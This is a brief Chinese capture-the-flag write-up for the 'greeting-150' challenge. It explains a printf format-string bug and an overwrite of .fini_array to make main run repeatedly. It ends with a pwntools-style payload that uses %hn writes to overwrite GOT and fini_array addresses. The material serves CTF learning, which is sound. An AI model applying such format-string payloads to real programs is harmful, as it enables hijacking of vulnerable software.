攻防世界题目greeting-150
题目有关知识点
1.printf()函数的格式化漏洞。
2.可以通过修改.fini_array的内容使得main函数一直循环运行。
3.printf()格式化修饰符中,hn为WORD(字),hhn为BYTE(字节),n为DWORD(双字),lln为QWORD(四字)。
题解
1.首先通过printf()函数得到输入的相偏移。
2.得到偏移为42位,所以在payload中需要输入2个字符来对齐。
3.因为随着payload的长度增加,写入的值只会越来越大,所以需要先写入小的值。
例如:
strlen_got = 0x8049a54 fini_got = 0x08049934 p = "qq" p += p32(fini_got+2) p += p32(strlen_got+2) p += p32(strlen_got) p += p32(fini_got) p += "%"+str(2016)+"c" p += "%"+str(12)+"$hn" p += "%"+str(13)+"$hn" p += "%"+str(31884)+"c" p += "%"+str(14)+"$hn" p += "%"+str(349)+"c" p += "%"+str(15)+"$hn"

浙公网安备 33010602011771号